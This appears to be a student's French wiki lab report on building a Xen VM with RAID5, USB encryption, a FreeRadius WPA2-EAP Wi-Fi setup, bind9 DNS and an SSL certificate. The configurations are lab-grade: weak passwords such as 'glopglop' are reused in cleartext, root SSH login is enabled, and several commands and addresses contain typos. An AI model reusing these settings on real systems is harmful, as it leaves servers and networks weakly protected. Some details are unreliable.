&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Réalisation ==&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de données ===  &lt;br /&gt;
&lt;br /&gt;
Pour sécuriser mes données, je passe par une redondance matérielle comme le fait déjà Polytech. On évite de tout perdre s'il y a un problème.&lt;br /&gt;
&lt;br /&gt;
Je crée un RAID5 logiciel sur ma VM. Il permet d'écrire les données à la suite sur les disques durs qui sont stockées. Si on perd un disque, les données pourront être reconstituées par les autres toujours fonctionnel.&lt;br /&gt;
&lt;br /&gt;
Sur Capbreton, je créé un disque niveau 5, un seul système de fichier composé de 3 partitions. &lt;br /&gt;
&lt;br /&gt;
Je commence par créer les 3 partitions LVM de 1Go&lt;br /&gt;
  lvcreate -l1G -n hawker-raid1 storage&lt;br /&gt;
  lvcreate -l1G -n hawker-raid storage&lt;br /&gt;
  lvcreate -l1G -n hawker-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Je visualise les disques créés via la commande &lt;br /&gt;
  vgdisplay&lt;br /&gt;
Il existe 3 types de volumes différents : storage, virtual et system.&lt;br /&gt;
&lt;br /&gt;
Je les associe à ma VM en l'éteignant et modifiant le fichier de configuration hawker.cfg en ajoutant :&lt;br /&gt;
  disk= [ ...     &lt;br /&gt;
          'phy:/dev/virtual/hawker-raid1,xvdc1,w',&lt;br /&gt;
          'phy:/dev/virtual/hawker-raid2,xvdc2,w',&lt;br /&gt;
          'phy:/dev/virtual/hawker-raid3,xvdc3,w',&lt;br /&gt;
        ]&lt;br /&gt;
&lt;br /&gt;
Puis je le rallume ma VM et via la commande lsblk, je vois mes 3 disques ajoutés.&lt;br /&gt;
&lt;br /&gt;
Je met en place le disque niveau 5 (RAID5) avec les 3 partitions&lt;br /&gt;
  mdadm --create /dev/md0 --level=5   --raid-devices 3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3&lt;br /&gt;
Je reprends le protocole que j'ai déjà effectué pour les partitions xvdb en utilisant mkfs, mount et cat. Les partitions sont alors actives.&lt;br /&gt;
  mkfs /dev/md0&lt;br /&gt;
  mount /dev/md0 /mnt&lt;br /&gt;
  cat /proc/mdstat&lt;br /&gt;
&lt;br /&gt;
Comme j'ai déjà fait pour les disques xvdb, je dois imposer le montage de RAID5 à chaque démarrage&lt;br /&gt;
   /dev/md0  /raid5  ext2  defaults  0  2 &lt;br /&gt;
&lt;br /&gt;
Si je stocke des données, en exemple le dossier bind, je les retrouve dans le répertoire raid5. Je vérifie que le système fonctionne et que mes données sont sécurisées. &lt;br /&gt;
&lt;br /&gt;
1er essai : Je commence par commenter la ligne du disque 2 de mon fichier de configuration. Les partitions sont considérées inactives, je repasse par le protocole précédent pour les réactiver et remonter mon disque. Malgré cet incident, on retrouve toutes les données présentes au même endroit.&lt;br /&gt;
&lt;br /&gt;
2ème essai : Je simule la perte du disque 2&lt;br /&gt;
  cp -a /usr/bin /mnt                               //Copie de données&lt;br /&gt;
  dd if=/dev/zero of=toto bs=1024k count=100        //Copier partie ou tout d'un disque &lt;br /&gt;
&lt;br /&gt;
  mdadm --set-faulty /dev/md0 /dev/xvdc2           //Perte du fichier disque 2 &lt;br /&gt;
  cat /proc/mdstat                                 //On voit qu'on a plus de partitions&lt;br /&gt;
  ls -R /mnt                                       //Vérifier qu'on a gardé les fichiers&lt;br /&gt;
  umount /mnt                                     //Démonter le système de fichier&lt;br /&gt;
&lt;br /&gt;
  mdadm --remove /dev/md0 /dev/xvdc2             //Je replace la partitions 2&lt;br /&gt;
  mdadm --add /dev/md0 /dev/xvdc2&lt;br /&gt;
  cat /proc/mdstat                               //On voit qu'il met quelques temps à le récupérer&lt;br /&gt;
&lt;br /&gt;
Encore utilisé à Polytech, on voit un disque gardé au cas où ceux en marche expire. Il gère les fichiers du disque qui va expiré et les gère. Quand on remplace, il replace les fichiers dans celui qui fonctionne.&lt;br /&gt;
&lt;br /&gt;
Je considère la sécurisation de mes données de VM atteinte.&lt;br /&gt;
&lt;br /&gt;
=== Chiffrement de données ===&lt;br /&gt;
&lt;br /&gt;
L'objectif est le cryptage de données contenues par une clé USB. Protégée par un mot de passe, il faudra le connaître pour accéder à son contenu.&lt;br /&gt;
&lt;br /&gt;
Je branche une clé USB sur mon PC et la sécurise&lt;br /&gt;
  cryptsetup open /dev/sdb cle --type : plain&lt;br /&gt;
      password : licorne&lt;br /&gt;
Dans ce cas, on peut utiliser deux types de cryptage : Plain ou Luks, j'ai choisi plain conseillé par M. Redon.&lt;br /&gt;
Je lance la commande lsbk pour visualiser les périphériques disponibles comme sdb : sdb1, sdb2 et je trouve aussi clé ajoutée après la commande cryptsetup&lt;br /&gt;
Je supprime les signatures et les avertissements&lt;br /&gt;
  wipefs --all --force /dev/sdb&lt;br /&gt;
  &lt;br /&gt;
  ls /dev/mapper&lt;br /&gt;
     clé : nom du périphérique chiffré&lt;br /&gt;
     /dev/mapper cle&lt;br /&gt;
&lt;br /&gt;
Système de fichier pour mapper.&lt;br /&gt;
Création &lt;br /&gt;
  mkfs /dev/mapper/cle&lt;br /&gt;
Montage&lt;br /&gt;
  mount /dev/mapper/cle  /mnt&lt;br /&gt;
  dh -h&lt;br /&gt;
Donne espace disque libre sur chaque système de fichier monté.&lt;br /&gt;
On a quelque chose sur la clé.&lt;br /&gt;
Création de fichier&lt;br /&gt;
  nano /mnt/toto &lt;br /&gt;
Démonter la clé&lt;br /&gt;
  umount /mnt&lt;br /&gt;
  crypt setup close cle --type = plain&lt;br /&gt;
/cle/mapper n'est plus accessible&lt;br /&gt;
Sur un autre ordinateur, la clé est invisible. Même si je fais un open, je l'a vois mais il me demande le mot de passe qui est licorne (choisi au début).&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation WiFi par WPA2-EAP ===&lt;br /&gt;
&lt;br /&gt;
==== Configuration serveur FreeRadius ====&lt;br /&gt;
&lt;br /&gt;
L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.&lt;br /&gt;
&lt;br /&gt;
Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.&lt;br /&gt;
  apt update&lt;br /&gt;
  apt install freeradius&lt;br /&gt;
&lt;br /&gt;
Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users&lt;br /&gt;
  pifou Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
  eap{&lt;br /&gt;
     default_eap_type = peap&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0//mods-enabled/mschap&lt;br /&gt;
  //Décommenter et vérifier&lt;br /&gt;
    use_mppe = yes&lt;br /&gt;
    require_encryption = yes&lt;br /&gt;
    require_strong = yes&lt;br /&gt;
  //Ajouter&lt;br /&gt;
    with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:&lt;br /&gt;
  client access-point { /Nom du client&lt;br /&gt;
    ipaddr = 10.60.0.100 //Adress IP de la borne&lt;br /&gt;
    secret = glopglop //Mot secret saisi lors de la configuration&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.&lt;br /&gt;
 service freeradius stop&lt;br /&gt;
  ps auxwww | grep free&lt;br /&gt;
     root     18316  0.0  0.0   3084   888 pts/0    S+   22:49   0:00 grep free&lt;br /&gt;
  kill 10659&lt;br /&gt;
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions&lt;br /&gt;
  freeradius -X&lt;br /&gt;
&lt;br /&gt;
==== Configuration des points d'accès WiFi ====&lt;br /&gt;
&lt;br /&gt;
Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.&lt;br /&gt;
&lt;br /&gt;
J'accède à la configuration de la borne WiFi&lt;br /&gt;
  minicom -os&lt;br /&gt;
  port : /dev/ttyUSB2&lt;br /&gt;
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#&lt;br /&gt;
&lt;br /&gt;
Je passe en mode privilégié et en mode configuration&lt;br /&gt;
  ap#enable      &lt;br /&gt;
  ap#config term   &lt;br /&gt;
&lt;br /&gt;
On met la commande suivante pour :&lt;br /&gt;
&lt;br /&gt;
authentification : vérifier l'identité de l'utilisateur &lt;br /&gt;
&lt;br /&gt;
authorization : pouvoir limiter l'accès à certaines fonctionnalités &lt;br /&gt;
&lt;br /&gt;
accounting : pouvoir enregistrer les actions de l'utilisateur&lt;br /&gt;
&lt;br /&gt;
   ap(config)#aaa new-model                                                                        &lt;br /&gt;
&lt;br /&gt;
Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius&lt;br /&gt;
  ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop    &lt;br /&gt;
&lt;br /&gt;
Définition du groupe de serveur&lt;br /&gt;
  ap(config)#aaa group server radius radius_lulya&lt;br /&gt;
&lt;br /&gt;
Association du groupe de serveur et du serveur de la VM&lt;br /&gt;
  ap(config-sg-radius)#server 193.48.57.171 auth-port 1812 acct-port 1813&lt;br /&gt;
&lt;br /&gt;
Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier&lt;br /&gt;
  ap(config)#aaa authentication login eap_lulya group radius_lulya&lt;br /&gt;
&lt;br /&gt;
Définition du SSID protégé par la méthode WPA2-EAP&lt;br /&gt;
  ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya                           &lt;br /&gt;
  ap(config-ssid)#vlan 10&lt;br /&gt;
  ap(config-ssid)#authentication open eap eap_lulya     &lt;br /&gt;
  ap(config-ssid)#authentication network-eap eap_lulya                            &lt;br /&gt;
  ap(config-ssid)#authentication key-management wpa    &lt;br /&gt;
&lt;br /&gt;
Configuration du Vlan&lt;br /&gt;
  ap(config)#interface Dot11Radio0                                                &lt;br /&gt;
  ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip                      &lt;br /&gt;
  ap(config-if)#ssid SSID_lulya                                                   &lt;br /&gt;
&lt;br /&gt;
Création de sous interfaces&lt;br /&gt;
  ap(config)#interface dot11Radio0.10                                             &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10          &lt;br /&gt;
&lt;br /&gt;
  ap(config)#interface fast0.10  &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10               &lt;br /&gt;
&lt;br /&gt;
Ajout SSID dans l'interface Dot11Radio0&lt;br /&gt;
  ap(config-subif)#interface Dot11Radio0                                          &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                         &lt;br /&gt;
&lt;br /&gt;
Rendre le SSID visible&lt;br /&gt;
  ap(config-ssid)#interface Dot11Radio0                                           &lt;br /&gt;
  ap(config-if)#mbssid                                                            &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                             &lt;br /&gt;
  ap(config-ssid)#mbssid guest-mode    &lt;br /&gt;
&lt;br /&gt;
Je quitte tout en utilisant &amp;lt;code&amp;gt;exit&amp;lt;/code&amp;gt;, puis faire un &amp;lt;code&amp;gt;write&amp;lt;/code&amp;gt; pour prendre en compte toutes les configurations, pour finir je &amp;lt;code&amp;gt;reload&amp;lt;/code&amp;gt; &lt;br /&gt;
  ap(config)#write                                                                        &lt;br /&gt;
    Building configuration...               &lt;br /&gt;
&lt;br /&gt;
Le wifi SSID_Lulya est visible et accessible.&lt;br /&gt;
&lt;br /&gt;
Dot11Radio 0 : 2.5 GHz&lt;br /&gt;
&lt;br /&gt;
Dot11rRadio 1 : 5 GHz&lt;br /&gt;
&lt;br /&gt;
Depuis hawker, on peut voir si mon portable se connecte sur le wifi SSID_Lulya.&lt;br /&gt;
&lt;br /&gt;
Au cours d'après, j'ai vérifié que la configuration Wifi est OK via le PC zabeth30.&lt;br /&gt;
   ap#sh dot11 bssid&lt;br /&gt;
&lt;br /&gt;
== Supplémentaires ==&lt;br /&gt;
&lt;br /&gt;
Puisque j'ai été la plus avancée au niveau de la réalisation de la VM et de certaines parties concernant le service internet, les tests d'intrusion et les réalisations, j'ai voulu aider mes camarades. &lt;br /&gt;
&lt;br /&gt;
Je me souviens de Nathan qui a été confiné cas contact que j'ai aidé à configurer sa machine virtuelle et lancer son domaine via gandi.net. Il a pu rattraper le retard et donc bien avancer.&lt;br /&gt;
&lt;br /&gt;
Puis, d'autres au niveau de de la sécurisation du site web par certificat et par DNSSEC.&lt;br /&gt;
&lt;br /&gt;
J'ai aussi réalisé d'autres travaux comme l'utilisateur username.&lt;br /&gt;
&lt;br /&gt;
Une interconnexion, j'ai connecté les routeurs 6509 et 3560E, ils ont alors été en conflit mais les VM ont tout de même continué à répondre.&lt;br /&gt;
&lt;br /&gt;
J'ai aussi eu un moment une connexion avec SSID_Lulya via mon portable sans internet ce qui était normal.&lt;/div&gt;</summary>
		<author><name>Lchenu</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=54764</id>
		<title>TP sysres IMA2a5 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=54764"/>
				<updated>2020-12-15T22:59:10Z</updated>
		
		<summary type="html">&lt;p&gt;Lchenu : /* Supplémentaires */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Partie commune ==&lt;br /&gt;
Pour commencer, nous avons divisé le travail concernant l'installation de la maquette réseau. J'ai alors fait équipe avec Thomas et Alexandre pour configurer les 3 routeurs (cf : Wiki Groupe n°6 VITTECOQ Thomas - Partie Commune)&lt;br /&gt;
&lt;br /&gt;
L'objectif est la réalisation d'un système réseau répondant aux protocoles IPV6 et assurant une redondance matérielle.&lt;br /&gt;
&lt;br /&gt;
== Installation de la machine virtuelle Xen ==&lt;br /&gt;
&lt;br /&gt;
=== Création de la VM ===&lt;br /&gt;
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh&lt;br /&gt;
  ssh root@capbreton.plil.info &lt;br /&gt;
&lt;br /&gt;
Nom de ma machine : hawker&lt;br /&gt;
&lt;br /&gt;
Adresse IP de la machine : 193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Adresse du routeur : 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Le répertoire des disques virtuels : /usr/local/xen&lt;br /&gt;
&lt;br /&gt;
xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.&lt;br /&gt;
  xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf&lt;br /&gt;
&lt;br /&gt;
J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker&lt;br /&gt;
&lt;br /&gt;
	Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/&lt;br /&gt;
&lt;br /&gt;
	La distribution stable courant :  http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
  xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force&lt;br /&gt;
&lt;br /&gt;
En lançant un second terminal, je peux suivre le processus d’installation&lt;br /&gt;
  tail -f /var/log/xen-tools/hawker.log&lt;br /&gt;
&lt;br /&gt;
Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.&lt;br /&gt;
&lt;br /&gt;
     Installation Summary&lt;br /&gt;
     ---------------------&lt;br /&gt;
     Hostname        :  hawker&lt;br /&gt;
     Distribution    :  ascii&lt;br /&gt;
     MAC Address     :  00:16:3E:A4:65:07&lt;br /&gt;
     IP Address(es)  :  dynamic&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (DSA)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (ECDSA)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (ED25519)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (RSA)&lt;br /&gt;
     Root Password   :  xxxxxxxxxxxxxxxxxxxxxxxx&lt;br /&gt;
&lt;br /&gt;
Via la commande passwd, j'ai changé le mot de passe par &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Configuration de la VM ===&lt;br /&gt;
&lt;br /&gt;
Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.&lt;br /&gt;
Je récupère le nom du bridge &amp;quot;IMA2a5&amp;quot;&lt;br /&gt;
  brctl show &lt;br /&gt;
    bridge name        bridge id             STP enabled     interfaces&lt;br /&gt;
    '''IMA2a5             8000.34800d508a83     no              ether1'''&lt;br /&gt;
    IMA5sc             8000.34800d508a82     no              ether0&lt;br /&gt;
    L3MRIT             8000.b026289b2c9a     no              ether2&lt;br /&gt;
    Trunk              8000.4cd98fa49258     no              ether4&lt;br /&gt;
    bridgeGIS          8000.4cd98fa49258     no              vlan502&lt;br /&gt;
&lt;br /&gt;
J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg&lt;br /&gt;
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5. &lt;br /&gt;
&lt;br /&gt;
 kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
 extra       = 'elevator=noop'&lt;br /&gt;
 ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
 &lt;br /&gt;
 vcpus       = '1'&lt;br /&gt;
 memory      = '1024'&lt;br /&gt;
 &lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
               ]&lt;br /&gt;
 &lt;br /&gt;
 name        = 'hawker'&lt;br /&gt;
 &lt;br /&gt;
 '''vif         = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''&lt;br /&gt;
 &lt;br /&gt;
 on_poweroff = 'destroy'&lt;br /&gt;
 on_reboot   = 'restart'&lt;br /&gt;
 on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
J'accède à ma machine virtuelle&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
  xl console hawker&lt;br /&gt;
&lt;br /&gt;
Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte&lt;br /&gt;
  lvcreate -L10G -n hawker-var virtual&lt;br /&gt;
  lvcreate -L10G -n hawker-home virtual&lt;br /&gt;
&lt;br /&gt;
Je pointe le système de fichier sur les deux nouvelles partitions &lt;br /&gt;
  mke2fs /dev/virtual/hawker-home&lt;br /&gt;
  mke2fs /dev/virtual/hawker-var&lt;br /&gt;
&lt;br /&gt;
Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-home,xvdb1,w','''&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-var,xvdb2,w','''&lt;br /&gt;
               ]&lt;br /&gt;
&lt;br /&gt;
Puis je redémarre la VM pour prendre en compte les modifications&lt;br /&gt;
  xl shutdown hawker&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
&lt;br /&gt;
A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage. &lt;br /&gt;
  /dev/xvdb1     /home ext4  defaults   0   2     //0 sauvegarde et 2 place&lt;br /&gt;
  #/dev/xvdb2    /var  ext4  defaults   0   2&lt;br /&gt;
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.&lt;br /&gt;
  mkfs -t ext4 /dev/xvdb2&lt;br /&gt;
  mount /dev/xvdb2 /mnt&lt;br /&gt;
  mv /var/* /mnt&lt;br /&gt;
  blkid       //Trouver ou afficher les attributs de périphérique bloc&lt;br /&gt;
    /dev/xvda2: UUID=&amp;quot;efa11821-8780-4938-9473-5d217752316e&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
    /dev/xvda1: UUID=&amp;quot;1a3161b3-a90d-4da5-a224-cfc496e70c89&amp;quot; TYPE=&amp;quot;swap&amp;quot;&lt;br /&gt;
    /dev/xvdb1: UUID=&amp;quot;5645526d-2cf4-42b5-a4a7-94fdda100ca1&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
    /dev/xvdb2: UUID=&amp;quot;5b49ce5f-8116-4c41-aa25-97536f644803&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
  vi /etc/fstab&lt;br /&gt;
Par la suite, je peux décommenter la ligne et exécuter :&lt;br /&gt;
  umount /mnt    &lt;br /&gt;
  mount -a&lt;br /&gt;
Je vérifie que les disques sont bien montés via la commande db &lt;br /&gt;
  Filesystem     1K-blocks     Used   Available   Use%   Mounted on&lt;br /&gt;
  udev              483904        0      483904     0%   /dev&lt;br /&gt;
  tmpfs             100712      120      100592     1%   /run&lt;br /&gt;
  /dev/xvda2       4062912   791352     3045464    21%   /&lt;br /&gt;
  tmpfs               5120        0        5120     0%   /run/lock&lt;br /&gt;
  tmpfs             306280        0      306280     0%   /dev/shm&lt;br /&gt;
  '''/dev/xvdb1      10255636    36872     9678092     1%   /home'''&lt;br /&gt;
  '''/dev/xvdb2      10255636   315536     9399428     4%   /var'''&lt;br /&gt;
&lt;br /&gt;
On peut vérifier que la VM est prête&lt;br /&gt;
  xl list&lt;br /&gt;
    Name          ID    Mem   VCPUs    State	Time(s)&lt;br /&gt;
    Domain-0      0    4046     4      r-----    6978.3&lt;br /&gt;
    boeing        1     256     1      -b----     185.5&lt;br /&gt;
    NightHawk     3    1024     1      -b----     826.8&lt;br /&gt;
    '''hawker        4    1024     1      -b----     776.9'''&lt;br /&gt;
    blackbird     5     256     1      -b----     640.4&lt;br /&gt;
    Falcon        6     256     1      -b----     691.7&lt;br /&gt;
    rafale        8     256     1      -b----     606.0&lt;br /&gt;
    mirage        12   1024     1      -b----     668.6&lt;br /&gt;
    alpha-jet     13    256     1      -b----     591.4&lt;br /&gt;
    concorde      19   1024     1      -b----     148.5&lt;br /&gt;
    oronge        20    256     1      -b----     536.2&lt;br /&gt;
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne. &lt;br /&gt;
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.&lt;br /&gt;
&lt;br /&gt;
== Services Internet ==&lt;br /&gt;
&lt;br /&gt;
=== Configuration du réseau ===&lt;br /&gt;
&lt;br /&gt;
Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces&lt;br /&gt;
   auto eth0&lt;br /&gt;
   iface eth0 inet static&lt;br /&gt;
     address 193.48.57.171 &lt;br /&gt;
     netmask 255.255.255.240&lt;br /&gt;
     gateway 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus&lt;br /&gt;
   ifdown eth0&lt;br /&gt;
   ifup eth0&lt;br /&gt;
&lt;br /&gt;
Je vérifie que le processus s'est bien déroulé&lt;br /&gt;
   ip r&lt;br /&gt;
     default via 193.48.57.163 dev eth0 onlink &lt;br /&gt;
     193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171 &lt;br /&gt;
  ping 193.48.57.162 (Adresse IP 3560E)&lt;br /&gt;
&lt;br /&gt;
=== Serveur SSH ===&lt;br /&gt;
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :&lt;br /&gt;
  vi /etc/ssh/sshd_config&lt;br /&gt;
     PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
  service ssh restart&lt;br /&gt;
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.&lt;br /&gt;
  ssh root@193.48.57.171&lt;br /&gt;
&lt;br /&gt;
=== Serveur DNS ===&lt;br /&gt;
&lt;br /&gt;
Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.&lt;br /&gt;
&lt;br /&gt;
Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.&lt;br /&gt;
&lt;br /&gt;
Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre. &lt;br /&gt;
    ns.lulya.space&lt;br /&gt;
    193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.&lt;br /&gt;
    ns.lulya.space      1&lt;br /&gt;
    ns6.gandi.net       2&lt;br /&gt;
Pour le prise en compte ces modifications, on attend de 12 à 24h. &lt;br /&gt;
&lt;br /&gt;
Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.&lt;br /&gt;
Le fichier named.conf.options qui gère les options de configuration du DNS : &lt;br /&gt;
   options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
        listen-on-v6 { any; };&lt;br /&gt;
        allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
   };&lt;br /&gt;
   acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
        217.70.177.40/32; //Adresse IP de dns6.gandi.net&lt;br /&gt;
   };&lt;br /&gt;
&lt;br /&gt;
Puis le fichier named.conf.local pour déclarer les zones associées au domaine:&lt;br /&gt;
   zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
      type master;&lt;br /&gt;
      file &amp;quot;/etc/bind/db.lulya.space&amp;quot;;&lt;br /&gt;
    };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier de configuration /etc/bind/db.lulya.space :&lt;br /&gt;
   $TTL 3600&lt;br /&gt;
   @ IN SOA ns.lulya.space. postmaster.lulya.space. (&lt;br /&gt;
         1               ; Version&lt;br /&gt;
         1800             ; Refresh (30m)&lt;br /&gt;
         600             ; Retry   (10m)&lt;br /&gt;
         3600             ; Expire (1h)&lt;br /&gt;
         3600 )           ; Minimum TTL (1h)&lt;br /&gt;
   @ IN NS ns.lulya.space.&lt;br /&gt;
   @ IN NS ns6.gandi.net.&lt;br /&gt;
   ns      IN A       192.48.57.171&lt;br /&gt;
&lt;br /&gt;
J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.&lt;br /&gt;
&lt;br /&gt;
Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de site web par certificat ===&lt;br /&gt;
&lt;br /&gt;
L'objectif est de sécuriser www.lulya.space.&lt;br /&gt;
Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.&lt;br /&gt;
&lt;br /&gt;
Je modifie mon fichier db.lulya.space&lt;br /&gt;
  Version : 2&lt;br /&gt;
  IN MX 100 ns&lt;br /&gt;
  www  IN A  193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise. &lt;br /&gt;
&lt;br /&gt;
Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat&lt;br /&gt;
  openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr&lt;br /&gt;
&lt;br /&gt;
J'achète un certificat clé pour se connecter de façon sécurisée sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier. &lt;br /&gt;
&lt;br /&gt;
Pour valider cette étape, j'ai envoyé un mail par polytech mail, et je l'ai vu via la commande mailx.&lt;br /&gt;
&lt;br /&gt;
En rencontrant un problème, j'ai utilisé une commande servant d'outil de dépannage.&lt;br /&gt;
&lt;br /&gt;
  nano /etc/aliases&lt;br /&gt;
  apt install strace&lt;br /&gt;
